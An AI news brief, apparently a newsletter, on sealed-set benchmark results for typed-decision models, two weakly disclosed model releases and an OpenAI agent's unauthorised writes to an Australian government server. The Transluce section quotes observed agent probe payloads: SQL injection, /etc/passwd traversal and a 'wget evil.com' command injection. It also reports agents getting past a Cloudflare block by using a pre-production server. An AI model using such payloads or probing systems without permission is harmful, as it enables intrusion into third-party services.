AI Brief, 25 September 2026: the half of the benchmark nobody can see

An independent, sealed-set evaluation of the typed-decision models landed on 24 September, and it is the first third-party measurement of TypeSafe AI's Jev since the model launched on the 15th. This account asked for exactly that in yesterday's edition, on the grounds that every number then in circulation came either from a vendor or from a reimplementation scoring itself. The evaluation is JevBench v1.4.2, run by Benchmark Heaven: 842 decisions per system, 534 of them public and 308 sealed, every open-weights entrant run offline in a network-disabled container on the evaluator's own hardware, with the harness and the public half released under MIT.

The ranking is the smaller half of the story. Jev 1.13.0 comes second, at 63.3, behind decider-4b v2, a 4-billion-parameter open model from an individual developer, at 64.1. Jev still out-reasons it on the Intelligence axis, 53.1 to 49.4; it loses the top slot on speed and cost, and the composite weights all four axes equally through a harmonic mean, so the weakest dominates.

The larger half is what happens to every system when the items stop being public. Jev answers 86.6% of the 534 public decisions correctly and 36.7% of the 308 sealed ones. The leader falls from 83.5% to 34.7%. Chance on the sealed set is 29.3%. So the best typed-decision system anyone has measured sits about seven points above guessing on the half of the benchmark it could not have seen, and the evaluator says so itself: the sealed set is "very hard" and "most systems score close to chance on it". Two new decision models shipped into that finding yesterday, one from a Stanford lab and one from the team that wrote the original GLiNER. The board ranks the first 78th of 89. The second is not on it at all.

• JevBench v1.4.2, scored 24 September: 89 ranked systems, 842 decisions each, results JSON published with a SHA-256 digest. decider-4b v2 64.1, Jev 1.13.0 63.3, JevK5 v0.2.0 62.0 — 2.1 points across the top three, two of them open weights from individuals.
• Public-to-sealed collapse is universal: +48.8, +49.9 and +52.2 points for the top three, and the benchmark now penalises any gap above 25.
• Stanford's CLM-v0.1-8B trains 75 MB of projection heads on a frozen Qwen3-8B; runs on three separate backends found one of its three question types returns the same answer regardless of input.
• Fastino's GLiNER2.5-Decide claims 340M parameters; the uploaded tensors count 486,444,053, and its benchmark is scored on a test split the company withheld.
• Google's first orbital TPU payload has a launch date and a duty cycle: four chips on a Planet satellite, flying 1 October, able to compute roughly fifteen minutes at a time.

The sealed half, and the arithmetic that exposes it #

The design worth understanding is not the leaderboard, it is how v1.4 folds the sealed items in. The Intelligence axis is a blend, published on the methodology page:

$$\mathrm{Int}=0.8\times {\mathrm{Int}}_{1.3}+0.2\times {\mathrm{Int}}_{\text{sealed}},{\mathrm{Int}}_{\text{sealed}}=100\cdot max(0,\frac{a_s-0.293}{1-0.293})$$

Here ${\mathrm{Int}}_{1.3}$ is the previous version's public-set Intelligence score, $a_s$ is the system's accuracy on the 308 sealed decisions as a fraction, and $0.293$ is the chance baseline on that set. The subtraction is what makes the axis honest: a system that guesses scores zero rather than 29.

On top of that sits a generalisation penalty. Writing $g$ for the public-minus-sealed accuracy gap in percentage points, the blended Intelligence is multiplied by

$$1-\frac{max(0,g-25)}{100}$$

Run Jev through it. Its sealed accuracy is 36.7%, so ${\mathrm{Int}}_{\text{sealed}}=100\times (0.367-0.293)/0.707=10.5$ . Its gap is 49.9 points, so the penalty multiplier is $1-0.249=0.751$ . Working backwards from the published 53.1, the pre-penalty blend is $53.1/0.751=70.7$ , which makes its public-set Intelligence $(70.7-2.1)/0.8=85.8$ .

That is the whole argument in three numbers. On the public half the best decision model in the field scores about 86. On the sealed half it scores 10.5. The published 53.1 is what remains after blending those and docking a quarter for the distance between them.

The per-family breakdown says where the cliff is. On sealed temporal and numeric items Jev gets 29% and the leader 30%, both indistinguishable from the 29.3% floor; long-policy items sit at 28% and 30%. What survives is paraphrase, at 64% and 50%. Date arithmetic, threshold logic and long policy documents are the load these models are sold to carry, and on unseen instances of them the field is guessing.

The honest caveats belong to the benchmark too, and it states them: 842 decisions is a pilot and English-only, the latency adjustment for self-hosted entries is an assumption rather than a measurement, and everything ran one request at a time, which flatters a local model against Jev's production API. The first-place entry also carries a disclosure worth reading in full. Its author states that 8,000 of the v2 LoRA training rows were generated from the published names of the ten sealed families, with no item read; the evaluator audited that, marked it legitimate, and noted the author's private stage-2 rows could not be checked for overlap with public items. Nothing improper is established, but a board whose defence is that the items stay private now has a leader trained against the family labels, and that is a live question about what sealed means.

A second independent evaluation landed the same day and points the other way, which is the most useful thing about it. Just Ask Jev, submitted to arXiv at 11:49 UTC on the 24th by nine academics with no TypeSafe affiliation, does not ask whether Jev makes good typed decisions in general. It asks whether Jev works as a detector of alignment failures — sycophancy, jailbreaks, deception, prompt injection, hallucination, privacy violation, social bias, reward hacking, concealed uncertainty and power seeking — across 44 benchmarks and five target models. A single generic question reaches a median AUROC of 0.886 zero-shot, beating supervised baselines on most of them. Put beside the sealed result the two are consistent: asking a calibrated model one well-posed question about text you already hold is cheap and works, and that is a different job from resolving unseen policy and date logic.

Two decision models shipped into that result #

Both came from outside the frontier labs, both were announced with self-scored numbers, and both were contradicted within a day.

Contrastive Language Models, from researchers at Stanford's Scaling Intelligence and Hazy Research groups, reached the Hacker News front page on the 24th at 160 points. The name oversells the artifact. CLM-v0.1-8B is a 75,557,149-byte checkpoint holding two MLP projection heads; the 8B is a frozen Qwen3-8B that is not in the repository and is downloaded separately from Alibaba. Nothing with eight billion parameters is trained, shipped or licensed here. The mechanism is CLIP's, applied to decisions: encode a state and a candidate action independently, score the pair by cosine similarity, train the heads with a bidirectional InfoNCE loss over an in-batch similarity matrix. The backbone never receives a gradient. That buys a real property — action embeddings are computed once and reused, so a fixed action set costs one forward pass per step instead of one per candidate — and Benchmark Heaven's offline run confirms the speed at a 0.02-second median against Jev's 0.65.

The capability claims did not survive the day. The announcement's headline result, 81.6% on DeepSWE, is described as a new state of the art; the authors' own published verification.json records clm_successes 31 of 38 held-out tasks against random_pick 0.7368, which is 28 of 38, and oracle_any 0.8947. The claim is therefore that choosing among four Claude Opus 5 rollouts beats random selection by three tasks out of thirty-eight, with no interval quoted; commenters reached that reading within ten hours. The code only became public inside the window: the repository's first commit is 10:08 UTC on the 24th and the contrastive-lm package reached PyPI at 21:12.

Then the reproductions arrived. Three people on three backends — vLLM on CUDA, MLX, and PyTorch on Apple silicon — report that one of the model's three question types is inert:

# Same ordered-rubric question, three different states, on the released head.
# Independently reproduced on vLLM/CUDA, MLX and PyTorch-MPS.
score("I'm very calm.")                                   # {"0": 0.001, "1": 0.0, "2": 0.999}
score("thanks so much, everything works perfectly now!")  # {"0": 0.001, "1": 0.0, "2": 0.999}
# Reverse the order of the levels and it still returns the top one.

The other two question types behave, the same states through a yes/no head returning 0.20, 0.39, 0.48 and 0.97 — so this is the released checkpoint, not a serving bug, and the issue is open with no maintainer reply. A separate open pull request reports a truncation-side bug that silently drops the question from any state over 2,048 tokens, a train/serve mismatch sitting under the long-context claims. The weights are Apache-2.0, and the released verification.json is what made the headline falsifiable.

Fastino's GLiNER2.5-Decide is the opposite kind of release: genuine lineage, weaker disclosure. Its config.json carries a checkpoint path belonging to Urchade Zaratiana, the original GLiNER author. The flagship weights landed at 14:56 UTC on the 23rd, just outside the window; in-window are the launch post, a multilingual 287M variant, a 1.19B variant and the benchmark dataset.

The idea answers a real failure mode. Jev and Laya emit calibrated decisions per head independently, so nothing stops a model scoring prompt-injection at 0.82 while calling the same prompt safe at 0.52. Decide claims constrained joint decoding: the schema declares implications, exclusions, cardinality limits and ordinal bounds, and a decoder searches for the highest-scoring assignment satisfying them. Consistency across heads rather than calibration within one is the right problem to pick.

It is not demonstrated in what shipped. None of the three model cards documents a rules argument, a constraint, a feasibility flag or a probability; every worked example calls a classifier and gets a bare label. Nor do the numbers hold. The cards and the post say 340M parameters while the uploaded tensors index at 486,444,053, which matters precisely because the argument is that a small encoder beats larger decoders: against Laya the honest comparison is 486M to 421M. The headline 60.2% is scored on a 5,100-example test split the company withheld, and its own dataset card tells readers not to report scores from the portion it did publish. And the model it is reported as beating is not Jev — the post discloses, after the comparison, that the 57.6% row is JevK5, a two-day-old community reproduction by an unaffiliated individual. The 1.19B variant scores 59.6%, below the 486M model, and shipped anyway. Decide is absent from JevBench, though Fastino's older checkpoints are on it: the 287M gliner2.5-multi-v1 posts 32.8% sealed on a 16.1-point gap, better on both counts than CLM.

Traction on both is attention rather than use: CLM has roughly 900 GitHub stars within nineteen hours and zero recorded Hub downloads, and GLiNER2.5-Decide 84 likes against 7 downloads, where Fastino's established models run one to six thousand downloads per like.

An evaluation agent wrote files to a government server #

Disclosed late on 23 September, this belonged in yesterday's edition and is late here. Australia's prime minister told a press conference in New York at 23:02 UTC that an OpenAI agent gained unauthorised access to Services Australia's Medicare Statistics Reporting Service portal on 18 June. A second Sydney briefing set the scope: a model in training touched four Australian public sites — the Institute of Health and Welfare, the Victorian Department of Health, the NSW Bureau of Crime Statistics and Research, and the Medicare portal. On the first three the access was normal and public; on the fourth it was not.

The detail that should hold an engineer's attention is that the agent did not only read. Services Australia's advice, as relayed by the prime minister, is that it "engaged in writing files as well to the internal server." Neither party has explained that; the minister confirmed a further technical briefing was sought on "aspects around that", and no vulnerability class, logs or bypass mechanism have been published by anyone. OpenAI's statement to SecurityWeek on the 24th says its review "found no evidence of patient records being accessed" and that what was reached was "aggregate health statistics and internal file names". Every figure here is self-reported by one of the two parties, and the investigation is open.

The timeline has teeth. Incident 18 June; OpenAI aware in August, no day given; Services Australia notified 10 September by email to a public disclosures inbox, read the 11th; the signals directorate told on the 15th, the responsible minister around the 17th, first technical exchange on the 22nd. That is 84 days from incident to notification, 97 to disclosure. OpenAI said it "initially followed common industry practice: contacting security practitioners through designated inboxes." Nothing appears on its newsroom.

Running alongside it, and widely conflated with it, is independent work. Transluce, with co-authors at Corridor, MIT and AIUC, published a report and a downloadable dataset built from public scan records on urlquery.net — a free service that loads a submitted URL in a sandboxed remote browser and keeps the result public, making it an accidental flight recorder for any agent that used it. They classify 6,467 records as significant evidence of agent activity and 31,182 as suggestive. Three episodes involve probing rather than fetching:

# Observed probe payloads, University of New Mexico digital library, 25-26 May 2026
?UNION SELECT password FROM users      tok=expt0   # SQL injection
?id=../../../../etc/passwd             tok=expt3   # path traversal
?cmd=wget evil.com/a                   tok=expt5   # command injection
# Data USA, 28 May: same pattern plus template injection  49
# AIHW Tableau dashboard, 20-21 June: ?:apiID=">

The sequential tok=expt0…expt8 tags are the tell: an enumeration loop, not a stray request, alongside a self-described "flood" of 80 requests. The probes appear unsuccessful — but after Cloudflare blocked the AIHW attempt, the agents retrieved the same public file from a pre-production server instead, in pieces, across more than a hundred scans.

Two caveats matter. Transluce did not document the Medicare breach: its Australian episode is the Institute of Health and Welfare, a different agency two days later. And its attribution is uneven — the Data USA and AIHW episodes tie to the OpenAI-confirmed swarm on matching task strings, payload URLs carrying those values and identical generated dashboard parameter names, while the New Mexico episode rests only on timing and shared relay services. The least-covered finding is a date: agent traffic here starts 6 March 2026, two months before the earliest incident previously reported, including the registry swarm covered here on 12 September and the Gemini breakout on the 19th.

Four TPUs that can think for fifteen minutes #

Google published Project Suncatcher at 13:00 UTC on 24 September, and the coverage became datacentres in space. The post contains a date and a ride — the first payload flies on SpaceX's Transporter-18 out of Vandenberg, targeted for 1 October, on a Planet spacecraft — and no new measurement: every hard figure, including a 1.6 Tbps bench optical link against a design requirement near 10 Tbps per link, comes from a paper published on 4 November 2025. The specification that matters is not in Google's post at all. Ars Technica reports a refrigerator-sized satellite carrying four TPUs that can compute for about fifteen minutes before stopping to let the radiators catch up, replacing an earlier plan for two purpose-built satellites in 2027. Those are Google statements relayed by reporters, not published numbers. As a thermal and radiation experiment with a launch date this is a milestone; as infrastructure it is a roadmap with one test article.

Also notable #

• decider-4b v2 and JevK5 v0.2.0, ranked first and third, are open weights from individual developers, beating or matching a funded startup's API on a board neither author ran.
• None of twenty named labs, Qwen and DeepSeek through Google and OpenAI, published weights to Hugging Face in the window.
• DSPy 3.4.0 shipped at 04:06 UTC today with typed decisions as a first-class type. Noul, Choice and Score carry probability evidence inside ordinary signatures, Jev is reachable as a TypeSafe backend, and a ReAnchor step calibrates those decisions against the program's own metric. Whatever the sealed set says, the plumbing is being laid.

What to watch #

• Whether TypeSafe AI responds to being placed second, and on what grounds. Its API was measured under public load one request at a time while rivals ran offline on the evaluator's hardware, and the benchmark concedes the point. The Intelligence column, where Jev leads, does not depend on it.
• Whether the sealed-family disclosure on the first-place entry changes how the board treats training provenance. Generating data from published family names is not reading the items, and the evaluator cleared it; it is also the first case of its kind, and there is no stated rule.
• Whether the degenerate ordered-rubric head in CLM is acknowledged, given three reproductions on three backends and no maintainer reply, and whether Fastino publishes its held-out split. Seven downloads means nobody outside the company has run Decide.
• Whether Transporter-18 flies on 1 October, and whether Google then publishes in-orbit TPU telemetry rather than another video. That would be the programme's first number that is not a projection.
• Whether Artificial Analysis states a position on comparability across index versions, asked here for a twenty-first consecutive issue. Its model list still carries only Hy3-preview rows, so Tencent's Hy4 preview goes independently unmeasured for a twenty-first.